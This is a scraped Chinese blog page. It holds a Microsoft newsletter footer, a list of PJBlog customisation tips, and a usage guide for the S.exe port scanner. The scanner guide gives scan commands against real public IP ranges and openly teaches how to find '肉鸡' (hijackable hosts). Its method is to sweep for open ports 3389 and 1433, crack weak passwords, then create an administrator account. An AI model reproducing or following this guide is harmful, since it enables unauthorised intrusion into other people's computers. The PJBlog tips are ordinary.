SOME STATES DO NOT ALLOW THE EXCLUSION or LIMITATION OF LIABILITY
FOR CONSEQUENTIAL or INCIDENTAL DAMAGES SO THE FOREGOING
LIMITATION MAY NOT APPLY.
********************************************************************


—–BEGIN PGP SIGNATURE—–
Version: PGP 8.1

iQIVAwUBRucXXYlDklrxMhdPAQLNaxAAss8u46Eu/G9z8sCN2oFaG74B8Knm2T9A
Eyu3ghBUICTGIZ2A8KEwtTY7wmPm7IQoCtrm7+lDSY8vpli6xVmbnpauaNcNV54R
dKuUJP8LPT6K/rgNpUgAY4utp4TUkj67PdsbZM+jwkwoA0qgygAz3OSsMQst4puV
1Uk6Cuh9CANOvo6RvROyuLHtX7y/16OE3Dyw6InHgoxAuldL+jk2ZGKHkJlZFysE
ajcBVhhARxsDsR0NPwr219dSGG8UVm6lNGj0BTjnJwTk11UcBwkUx+7HO+pBCwaj
h3Sadro8KDZZYdZqMIeFVi2oN9+Vt9ZBD26sgg5JS76ZmWwuKVsWRw0jhUjlWgPS
cCOEt2dt/huxMh3Obnr+EjP34MucuKHkzQZP/9wWz/rYqPNizRK18h9jdSZZlTVZ
uqxgppbbv0uIGTv/mHfKxlCr95WQEqEeU3MTPCLV7ZBbh1m9mJBkg2hx+NvNIMBB
ptzFcD2vSzkPL7muAahwYj+l9O/sa0BnqnT3ONESABgEuOH8m2F1S/8nDavmwSv5
m+/mCtLwtDt4+xF/K7X9poIm0dQ+WT1Q5+E5FKJ5YMaA1fQ8L9BLDtsQo9ZGnW03
q7mImQUEPudYY+ZKM+DLSV9i8Uh3zvmPcDok0CrR8lcEYtWXTYjDom36Cu44tWEZ
P77CUewFaXM=
=Slrs
—–END PGP SIGNATURE—–


To cancel your subscription to this newsletter, reply to this message with the word UNSUBSCRIBE in the Subject line. You can also unsubscribe at the Microsoft.com web site <http://www.microsoft.com/misc/unsubscribe.htm>. You can manage all your Microsoft.com communication preferences at this site.

Legal Information <http://www.microsoft.com/info/legalinfo/default.mspx>.

This newsletter was sent by the Microsoft Corporation
1 Microsoft Way
Redmond, Washington, USA
98052

收藏与分享
17 2007

pjblog修改技巧汇总

Posted by Yangybcy in 资料

   一、日志回复框中的表情一行显示的个数,怎么修改?
标准的是8个,我想修改成每行5个,因为我上传的表情尺寸有点大,造成页面扩大,有点混乱  
方法:用记事本打开common目录中的UBBconfig.asp文件/——查找下面的代码:
程序代码
if SmilieCount=8 then SmilieHtml=SmilieHtml+"</tr>":SmilieCount=0
看到8了吧?修改成5就可以了……
二、为什么后台添加了友情连接,可是不在首页显示?
进入后台——[友情连接管理]——看到你添加的连接后面的这个图标了没?,点一下,提示你的友情连接置顶了,变成图标,那么你添加的友情连接就在首页显示了。
一句话,置顶的友情连接才在首页显示,不置顶的友情连接只在[更多连接]页面显示
三、怎么在首页底部添加备案号和统计代码或者编辑底部的一些信息?
用记事本打开根目录下的foot.asp文件/找到下面的代码:
程序代码
<a href="http://www.miibeian.gov.cn" style="font-size:12px"><b><%=blogabout%></b></a>
<%=blogabout%>替换成你的备案号就可以了,其实还有个非常简单的方法,啥方法?哈哈,后台可以添加的!俺开始犯混了,没注意……进入后台——[站点基本信息]——看到了没啊?没看到我就晕了哈~!
统计代码怎么加?晕了,随便找个位置加上你的统计代码就可以了啊,不过要找个适合的地方添加……
看到底部哪些信息不希望出现,就在这个文件里去掉那些代码就可以了……
版权信息也可以去掉的,但是本人希望大家尊重舜子和其他人的劳动成果,请保留版权信息!!!!!!!!!加个版权信息又不碍事!
版权信息代码:
程序代码
<p>Powered By <a href="http://www.pjhome.net" target="_blank"><strong>PJBlog2 v<%=blog_version%></strong></a> CopyRight 2005, <strong><%=SiteName%></strong>
风格信息代码:
程序代码
<%=SkinInfo%>
别的自己随便改吧,看这哪不希望出现就去掉哪个代码就可以了……
四、建站时间怎么修改?
进后台修改就成了——[界面与插件]——[设置模块]找到模块标记[BlogInfo]——[可视化编辑],自己随便修改就行了,也可以把不需要的统计去掉的,我就去掉了[引用]和[在线会员],我进的是[HTML编辑],都一样的修改,没事……
五、使用留言本?
进入后台——[界面与插件]——[安装模块插件],然后选择要安装的插件,点[安装此插件]就行了。。
PJBLOG自带三个插件,有留言本插件和最新文章插件、个人档案插件。
我就用了两个插件,觉得多了也没用,如果你还需要更多的插件,就到官方论坛上去下载去吧,安装新插件我还没安装过,暂时不会安装……
六、如何修改首页每篇日志显示的字数?
刚开始俺很笨啊,就是没找到限制显示字数的地方,就上后台里改。。真可怜那
如果你要统一编辑首页每篇日志显示的字数,可以进入后台——[站点基本信息]——[日志保存设置],你可以修改显示的字数或者行数——[两种选择的]
顺便说一句,在[站点基本信息]可以随便修改你想要的设置,俺把会员注册给关拉,嘿嘿。。。
好了,说说怎么正确合适的如何修改首页每篇日志显示的字数,发表日志的时候,在编辑框的下面看到[内容摘要]了没?——选定[编辑内容摘要],好了,把这个日志想要在首页显示的内容复制到里面吧……
字数?自己去数吧,哈哈,可以选定那些内容在首页显示,其实这个可比显示的字数更好用啊。
七、修改const.asp里面的数据库路径和Cookie名称,以确保你的站点安全
别说这个你也不会。。这个提示是在程序中带着的说明文件。。
到根目录中找到const.asp文件,用记事本打开,查找下面的代码(其实里面有文字提示的,一找就找到的):
程序代码
'定义数据库链接文件,根据自己的情况修改
Const AccessFile="blogDB/PBLog2.asp"
定义 Cookie,Application 域,必须修改,否则可能运行不正常
Const CookieName="XXX"
Const CookieNameSetting="XXXSetting"
Const IPViewURL="http://www.dheart.net/ip/index.php?ip=" 'IP查询网站地址
Response.Cookies(CookieNameSetting).Expires=Date+365
把PBLog2.asp修改成一个复杂的名字,要复杂啊,呵呵,省的数据库容易丢失,修改以后,然后打开blogDB目录,给PBLog2.asp文件,然后重命名,啥名字?你刚才修改的名字啊!Cookie名称自己随便修改就成的。
八、怎么安装皮肤(风格)?
先问一下,会设置默认的风格不?晕了,不会?赶紧进后台——[模块与插件]——[设置外观],选择一个风格后,点[设置为当前主题],就设定好默认的风格了/
到官方论坛上下载一个风格,解压下载的文件夹,将文件夹XXXXX(里面包含UBB文件夹和其他文件)上传到Skins文件夹中就可以了,那么后台——[模块与插件]——[设置外观]里就自动添加了一个风格,赶紧去试一下新风格!
九、去掉编辑日志后,文章底部出现“[本日志由 某某 于 何时 编辑]”的字样
PJBlog2 v2.5版本:用记事本打开根目录下的blogedit.asp文件,找到并删除下面这一句代码:
程序代码
if weblog("log_IsDraft")=false then weblog("log_Modify")="[本日志由 "&memName&" 于 "&DateToStr(now(),"Y-m-d H:I A")&" 编辑]"
PJBlog2 v2.6版本:用记事本打开class目录下的cls_logaction.asp文件,找到并删除下面这一句代码:
程序代码
if logIsDraft=false then weblog("log_Modify")="[本日志由 "&memName&" 于 "&DateToStr(now(),"Y-m-d H:I A")&" 编辑]"
十、去掉风格中的超级链接的下划线
打开Skins文件夹中每个风格的link.css文件,用记事本打开,有下划线的参数是“text-decoration:underline”,没有下划线的参数是“text-decoration:none”。如果不使用“text-decoration”属性,默认是有下划线的。你可以把不想要下划线的地方由“underline”替换成“none”,或者干脆把所有的都替换了。我啊,就是全部给弄成没有下划线了,哈哈有下划线的确很难看啊……
十一、PJBlog2插件:Site Focus – 站点聚焦插件 作者:jerry(06-05-22)
插件说明:Site Focus,站点聚焦。
和很多大型门户网站一样,在首页上轮流变化一些图片来链接到对应的地址。特别适合做网站聚焦和一些广告。本插件可以在后台设置5个焦点,每个焦点有自己对应的图片、链接地址、说明文字,可以设定前台的显示大小,在前台通过各种过渡样式轮流变换链接图片,以此达到“聚焦”的目的。
安装方法:将SiteFocus文件夹上传到空间的Plugins文件夹下面,然后在后台安装就可以了。
插件下载地址: "_blank" rel="external">http://www.finalsky.com.cn/article.asp?id=9
十二:PJBlog2插件:TimeCounter 作者:jerry(06-05-22)
插件说明:倒计时插件,在后台可以设置4个选项:计时标题、目标日期(形式如yyyy-mm-dd)、目标时间(24小时制,形式如hh:mm:ss)、计时牌样式,离目标时间小于3天的时候会自动变为红色提醒,超出目标时间则提示过期失效。本插件同时支持IE、Firefox。
安装方法:将TimeCounter文件夹上传到空间的Plugins文件夹下面,然后在后台安装就可以了。
插件下载地址:http://www.finalsky.com.cn/article.asp?
十三、搜索关键字不能少于3个字怎么修改?
在后台[界面插件]——[搜索Search模块]那里[编辑html],改为:
<form style="MARGIN: 0px" onsubmit="if (this.SearchContent.value.length<2) {alert('关键字不能少于2个子');this.SearchContent.focus();return false}" action="search.asp">
十四、后台“查看访客记录”一片空白,是什么原因?
后台——站点基本设置——访客记录最大值“填数字”…100000000,爱填多少是多少。能不填,如果为0访客记录里面就什么也看不到  
十五、首页显示的缩略图片大小修改
找到文件夹common,打开里面的common.js文件,修改下面的代码(其实我也不知道500和400之间有什么区别,我就把500和400全部改成550了,省的麻烦。)
程序代码
//查找网页内宽度太大的图片进行缩放以及PNG纠正
function ReImgSize(){
  for (i=0;i<document.images.length;i++)
   {
   if (document.all){
    if (document.images[i].width>500)
     {
       document.images[i].width="500"
       document.images[i].outerHTML='<a href="'+document.images[i].src+'"  
target="_blank" title="在新窗口打开图片">'+document.images
[i].outerHTML+'</a>'
       }
   }
  else{
    if (document.images[i].width>400) {
      document.images[i].title="在新窗口打开图片"
      document.images[i].style.cursor="pointer"
      document.images[i].onclick=function(e){window.open(this.src)}
    }
  }
  }
}
十六、皮肤转换插件(2006-06-05)
插件名称:Skin Switcher
插件版本:1.0
插件作者:舜子
插件说明:给PJBlog2一个快速切换Skin的功能,安装插件后台,到插件的高级设置选择允许访客自己更改的Skin。
下载地址:http://www.pjhome.net/article.asp?id=504
十七、图文混编的时候,怎么把图插文字左边或右边?
UBB编辑器,用代码UBB编辑器,用代码
[ img=left]http://xxx.com/xxx.jpg[ /img] ([]号内没有空格)
十八、怎么修改“查看更多…”成为“[阅读全文]”
将class目录下的文件cls_logaction.asp和cls_default.asp中的“查看更多…”换成“[阅读全文]”,然后重新编辑日志并保存就可以了。
十九、 PJBLOG发表新日志发送引用信息失败的修正方法  
参考:http://www.lnuu.com/article.asp?id=857
二十、美化PJBLOG的标签云集
参考:http://www.lnuu.com/article.asp?id=877
二十一、禁止游客发表评论时,修改其提示语言“你没有发表评论的权限!”
修改class/cls_article.asp文件中相应的地方即可,即把上面的提示语言替换。
二十二、在文章中添加Google Adsense广告
1、静态日志模式。。。
打开Template/Article.asp,找到以下代码(第20行):
引用内容
<div id="logPanel" class="Content-body">
                  <$ArticleContent$>
<br/><br/>
然后把你的Google Adsense广告代码加入,如下示例:
引用内容
<div id="logPanel" class="Content-body">
                  <$ArticleContent$>
<br/><br/>
Google Adsense广告代码
                 </div>
2、动态日志模式。。。。
修改class/cls_article.asp文件。
放置位置为:
引用内容
<div class="Content-body">
                                            <%if len(log_ViewArr(16,0))>0 then response.write (log_ViewArr(16,0)&"<br/>")%>
Google Adsense广告代码  
<br /><img src="images/From.gif" style="margin:4px 2px -4px 0px" alt=""/><strong>
3、保存所修改的文件,上传到ftp空间,然后进入后台,【站点基本设置】——【初始化数据】即可。
4、如果想把Google Adsense广告放在文章顶部后者侧边栏,在后台建立【内容模块】,然后在模块里添加广告代码就可。
二十三、解决PJBLOG表情框无法在火狐2.0浏览器中调出
参考:http://www.lnuu.com/article.asp?id=1008
二十四、修改验证码,使它永远只出现四个“0”
找到common\GetCode.asp,修改“Dim i, ii, iii”下面这两句(第16、17行):
Const cOdds = 0 ' (说明:不出现杂点)
Const cAmount = 1 ' (说明:就取一个符号,默认是0)
二十五、防止垃圾引用
1、把trackback.asp删除,拒绝此功能(慎用)

收藏与分享
07 2007

S.exe使用介绍

Posted by Yangybcy in 资料

S.exe这款DOS下的端口扫描工具,体积小,扫描速度惊人,但是唯一不足的是它不能在XP SP2或者内网中使用SYN方式扫描,我试过,不能扫出任何IP,用TCP倒是可以,其他都不错。

介绍一下这款小工具的语法:

S扫描器扫描命令是:
-----------------------------
文件名 参数 起始IP 结束IP 要扫描的端口 保存
s SYN 61.0.0.0 61.255.255.255 1433 save
-----------------------------
1433是SQL server 服务器端口
8080是代理服务器端口
s.exe syn 219.136.0.0 219.136.255.255 8080 700 /save

s.exe扫描器的使用说明

首先我解释下什么是S扫描器,S扫描器是针对微软ms04045漏洞出的一个扫描,原来作者出这东西的目的是为了扫描这个漏洞,但现在已经变成我们黑客手中的兵器了,大家也许看过很多如何找肉鸡的动画或刷QB的动画,那些动画里面很多都是用S扫描器来扫描肉鸡或别人电脑所开放的端口及一些漏洞,都用这工具的好处是它的扫描速度实在是一个字—强! 今天我就来教下大家如何使用S扫描器。

简单说明下它的用处:

S扫描器是一个简单的使用两种常用的扫描方式进行端口扫描的端口扫描器程序.可实现的功能是:
1.两种不同的扫描方式(SYN扫描和一般的connect扫描)
2.可以扫描单个IP或IP段所有端口
3.可以扫描单个IP或IP段单个端口
4.可以扫描单个IP或IP段用户定义的端口
5.可以显示打开端口的banner
6.可将结果写入文件
7.TCP扫描可自定义线程数

用法:
--------------------------------
scanner TCP/SYN StartIP [EndIP] Ports [Threads] [/Banner][/Save]
--------------------------------

参数说明:
TCP/SYN -> TCP方式扫描或SYN方式扫描(SYN扫描需要在win 2k或以上系统才行),SYN扫描对本机无效
StartIP -> 起始扫描的IP
EndIP -> 结束扫描的IP,可选项,如果这一项没有,就只是对单个IP扫描
Ports -> 可以是单个端口,连续的一段端口或非连续的端口
Threads -> 使用最大线程数去扫描(SYN扫描不需要加这一项),不能超过1024线程
/Banner -> 扫描端口时一并将Banner显示出来,这一选项只对TCP扫描有效
/Save -> 将结果写入当前目录的Result.txt文件中去。

我们先点击开始菜单—>运行—>CMD.EXE,因为我把扫描器放在F盘,你们的扫描器放哪你们就进哪里,打开S扫描器,下面举几个例子演示下S扫描器的主要几个作用。

例子一:
S TCP 218.80.12.1 218.80.12.123 80 512
TCP扫描218.80.12.1到218.80.12.123这IP段中的80端口,最大并发线程是512

例子二:
S TCP 218.80.12.1 218.80.12.123 21,5631 512 /Banner
TCP扫描218.80.12.1到218.80.12.123这IP段中的21和5631端口,最大并发线程是512,并显示Banner

例子三:
S TCP 218.80.12.1 218.80.12.12 1-200 512
TCP扫描218.80.12.1到218.80.12.12这IP段中的1到200端口,最大并发线程是512

例子四:
S TCP 218.80.12.7 1-200 512
TCP扫描218.80.12.7这IP中的1到200端口,最大并发线程是512

例子五:
S SYN 218.80.12.7 1-65535 /Save
SYN扫描218.80.12.7这IP中的1到65535端口,将结果写入Result.txt
扫描结束后Result.txt就存放在你的S扫描器所在的目录里。刚才扫描的东西都在里面。

例子六:
S SYN 218.80.12.1 218.80.12.255 21 /Save
SYN扫描218.80.12.1到218.80.12.255这IP段中的21端口,将结果写入Result.txt
这个我重点说明一下,因为这条命令就是专门用来找肉鸡的,扫描一个IP段有没有开3389的或1433的。
示范:S SYN 218.80.1.1 218.80.255.255 3389 /Save (找开放3389肉鸡的指令)
一定会有好多开了3389的,大家只要利用这指令扫到开3389的IP,再用别工具继续扫开了3389的肉鸡的弱口令,找到了马上建立管理员,登陆进去,你就算得到一个肉鸡了。
参考资料:http://www.myjxtx.com/hphtml/?thread-20312.html

收藏与分享
Pages: 上一页 1 2 3 4 5 6